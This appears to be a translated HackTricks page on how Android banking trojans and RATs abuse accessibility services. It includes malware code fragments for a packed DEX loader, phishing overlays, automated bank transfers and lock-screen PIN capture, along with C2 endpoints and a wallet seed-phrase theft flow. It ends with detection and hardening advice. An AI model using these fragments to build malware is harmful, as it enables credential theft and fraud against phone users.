Android 可访问性服务滥用

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

AccessibilityService 是为帮助残障用户与 Android 设备交互而创建的。不幸的是,相同的 强大自动化 APIs(global navigation, text input, gesture dispatch, overlay windows…)可以被恶意软件武器化,从而在不获取 root 权限的情况下获得对手机的 完全远程控制without root privileges)。

现代 Android 的银行木马和远程访问木马(RATs)例如 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 等等遵循相同的套路:

  1. 通过社会工程诱导受害者启用一个恶意的可访问性服务(BIND_ACCESSIBILITY_SERVICE 权限被视为“高风险”,并需要用户明确操作)。
  2. 利用该服务来:
  • 捕获屏幕上出现的每个 UI 事件和文本,
  • 注入合成手势 (dispatchGesture) 和全局操作 (performGlobalAction) 以自动化操作者想要的任何任务,
  • 使用 TYPE_ACCESSIBILITY_OVERLAY 窗口类型在合法应用之上绘制全屏覆盖(无需 SYSTEM_ALERT_WINDOW 提示!),
  • 代表受害者悄然点击系统对话框,从而默默授予额外的运行时权限。
  1. 在用户看着一个看似正常的屏幕时,实时地外发数据或执行 On-Device-Fraud (ODF)

已打包的 Accessibility droppers

ClayRat v3.0.8 将其 Accessibility RAT 与一个隐藏在 assets/ 下的分段 payload 结合。在运行时宿主 APK 会:

  1. assets/*.dat 流式读取加密 blob。
  2. 使用嵌入在 Java/Kotlin loader 内的硬编码 AES/CBC 密钥 + IV 对其解密。
  3. 将明文 DEX 写入应用的私有目录,并通过 DexClassLoader 加载,从而仅在内存中暴露实际的间谍软件类。
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

这种打包模式 (ATT&CK T1406.002) 在 dropper 执行之前将 Accessibility 模块保留在磁盘外,从而绕过静态签名扫描和 Play Protect,直到用户已授予危险权限。


请求权限

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

配套的 XML 定义了伪造对话框的外观:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

远程 UI 自动化原语

无障碍服务自动化骨架 ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

仅凭这两个 APIs,攻击者可以:
* 解锁屏幕、打开银行应用、在其 UI tree 中导航并提交转账表单。
* 接受弹出的所有权限对话框。
* 通过 Play Store intent 安装/更新额外的 APKs。

---

## Abuse patterns

### 1. Overlay Phishing (Credential Harvesting)
A transparent or opaque `WebView` is added to the window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

受害者在虚假表单中输入凭证时,后台应用接收相同的手势——不会弹出可疑的 “draw over other apps” 提示。

详细示例:Tapjacking 页面中的 Accessibility Overlay Phishing 一节。

ClayRat 通过 show_block_screen / hide_block_screen 命令暴露了这一能力,这些命令会从 C2 下载覆盖模板。操作者可以随时切换布局以:

  • Black out 面板,使受害者以为手机已关机或冻结,同时后台自动化禁用 Play Protect 或授予更多权限。
  • 显示假的 system update / battery optimization 面板,作为设备“忙碌”的理由,而后台自动化继续运行。
  • 显示一个 interactive PIN pad 覆盖,镜像系统锁屏——恶意软件在受害者输入 4 位代码后捕获每一位并立即向操作者流式传输。

因为 TYPE_ACCESSIBILITY_OVERLAY 窗口永远不会触发 SYSTEM_ALERT_WINDOW 权限提示,受害者只能看到诱饵 UI,而 RAT 持续与底层的真实应用交互。

2. 设备端欺诈自动化

恶意家族如 PlayPraetor 维持一个持久的 WebSocket 通道,操作者可以在其中下发高层命令(initupdatealert_arrreport_list …)。该服务将这些命令翻译为上述低级手势,实现实时的未授权交易,轻松绕过绑定于该设备的多因素认证。

3. 屏幕流与监控

ClayRat 将常见的 MediaProjection 技巧升级为远程桌面栈:

  1. turbo_screen 触发 MediaProjection 同意对话框;Accessibility service 点击 “Start now”,受害者无须干预。
  2. 使用得到的 MediaProjection token 创建由 ImageReader 支持的 VirtualDisplay,保持一个 ForegroundService 活着,并在工作线程上消费帧。
  3. 帧根据操作者提供的 set_quality 参数进行 JPEG/PNG 编码(缺省为 60),并通过标示自定义 ClayRemoteDesktop user-agent 的 HTTP→WebSocket upgrade 传输。
  4. start_desktop / stop_desktop 管理捕获线程,而 screen_tapscreen_swipeinput_textpress_homepress_backpress_recents 对实时 framebuffer 重放手势。

结果是一个类似 VNC 的画面,完全通过被允许的 API 交付——无需 root 或内核漏洞——但却以毫秒级延迟为攻击者提供实时态势感知。

4. 锁屏凭证窃取与自动解锁

ClayRat 订阅由 com.android.systemuiKeyguard)发出的 TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED 事件,并重构当前激活的锁屏类型:

  • PIN – 监听数字键盘按键直至锁定器报告完成。
  • Password – 为每个 AccessibilityEvent 拼接聚焦密码字段中看到的字符串。
  • Pattern – 记录从手势坐标在 3×3 网格中推断出的有序节点索引。

凭证连同元数据(锁类型 + 时间戳)被序列化到 SharedPreferences 下的 lock_password_storage。当操作者下发 auto_unlock 时,服务通过 unlock_device / screen_on 唤醒设备,使用 dispatchGesture 重放存储的数字或手势,悄然绕过 keyguard,使后续的 ODF 工作流得以继续。

5. 通知钓鱼与收集

配套的 Notification Listener 将通知栏变为钓鱼表面:

  • get_push_notifications 导出当前所有可见通知,包括 OTP / MFA 消息。
  • notifications 命令切换 notifications_enabled 标志,使每个未来的 onNotificationPosted() 载荷实时流向 C2。
  • send_push_notification 允许操作者伪造交互式通知,冒充银行或聊天应用;受害者提交的任何文本都会被解析为凭证并立即外泄。

因为 Accessibility 可以以编程方式打开/关闭通知栏,该方法在不触碰目标应用的情况下收集机密信息。

6. 电话与 SMS 命令通道

在强迫用户将 RAT 设为默认 SMS 应用后,以下命令提供完整的调制解调器控制:

  • send_smsretransmishion 向攻击者控制的号码发送任意或重放的消息。
  • messsms 遍历整个联系人数据库以群发钓鱼链接,实现类蠕虫传播。
  • make_call 发起语音通话,支持社工流程。
  • get_sms_list / get_sms 以及 get_call_log / get_calls 导出收件箱和通话记录,从而可以即时滥用 MFA 代码或通话元数据。

结合 Accessibility 驱动的 UI 导航,ClayRat 能通过通知/SMS 接收 OTP 并立即在目标银行或企业应用内输入。

7. 发现、收集与代理

额外的 ClayRat 命令映射环境并保持 C2 的弹性:

  • get_apps / get_apps_list 枚举已安装包(ATT&CK T1418)。
  • get_device_info 报告型号、OS 版本和电池状态(T1426)。
  • get_cam / get_camera 捕获前置摄像头静态图像,而 get_keylogger_data 序列化锁 PIN 及密码、从敏感字段抓取的视图描述和提示。
  • get_proxy_data 获取一个代理 WebSocket URL,附加唯一设备 ID 并启动一个任务,将 HTTP/HTTPS 通过相同的双向通道隧道(T1481.002 / T1646)。

PlayPraetor – 命令与控制工作流

  1. HTTP(S) heartbeat – 迭代硬编码列表,直到某个域名以 POST /app/searchPackageName 响应并返回活动 C2。
  2. WebSocket (port 8282) – 双向 JSON 命令:
  • update – 推送新的 conf/APKs
  • alert_arr – 配置覆盖模板
  • report_list – 发送目标包名列表
  • heartbeat_web – 保活
  1. RTMP (port 1935) – 实时屏幕/视频流。
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

AccessibilityService 是将这些云命令转换为物理交互的本地引擎。


检测恶意辅助功能服务

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – 查找非来自 Google Play 的应用。
  • MDM / EMM 解决方案可以强制 ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+)以阻止侧载服务。
  • 分析运行中的服务:
adb shell dumpsys accessibility | grep "Accessibility Service"

应用开发者的加固建议

  • 在敏感视图上标注 android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+)。
  • setFilterTouchesWhenObscured(true)FLAG_SECURE 结合使用以防止点击/覆盖劫持。
  • 通过轮询 WindowManager.getDefaultDisplay().getFlags() 或使用 ViewRootImpl API 来检测覆盖。
  • Settings.canDrawOverlays() 非受信任的 Accessibility service 活动时,拒绝操作。

ATS 自动化速查表 (Accessibility-driven)

仅使用 Accessibility APIs,恶意软件即可完全自动化一个银行应用。通用原语:

ATS 自动化的辅助方法 ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

示例流程(Czech → English labels):

  • “Nová platba” (新付款) → 点击
  • “Zadat platbu” (输入付款) → 点击
  • “Nový příjemce” (新收款人) → 点击
  • “Domácí číslo účtu” (Domestic account number) → 聚焦并 ACTION_SET_TEXT
  • “Další” (Next) → 点击 → … “Zaplatit” (Pay) → 点击 → 输入 PIN

Fallback: 在文本查找因自定义控件失败时,使用硬编码坐标和 dispatchGesture

Also seen: 通过导航到限额界面并在转账前提高日限额,对 check_limitlimit 执行预步骤。

基于文本的伪屏幕流

为了低延迟的远程控制,与其进行完整的视频流,而是将当前 UI tree 的文本表示导出并重复发送到 C2。

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

这是像 txt_screen(一次性)和 screen_live(持续)等命令的基础。

Device Admin 强制原语

一旦 Device Admin receiver 被激活,这些调用会增加获取凭证并维持控制的机会:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

注意:这些策略的具体可用性因 Android 版本和 OEM 而异;在测试期间验证设备策略角色(admin vs owner)。

加密钱包 种子短语 提取模式

针对 MetaMask、Trust Wallet、Blockchain.com 和 Phantom 观察到的流程:

  • Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
  • Navigate: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Collect phrase via keylogging the text nodes, secure-screen bypass, or screenshot OCR when text is obscured.
  • 支持多种语言环境 (EN/RU/CZ/SK) 以稳定 selectors —— 在可用时优先使用 viewIdResourceName,否则回退到多语言文本匹配。

NFC-relay 编排

Accessibility/RAT 模块可以在第三阶段安装并启动专用的 NFC-relay 应用(例如 NFSkate),甚至注入 overlay 指南,引导受害者完成带卡在场的中继步骤。

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks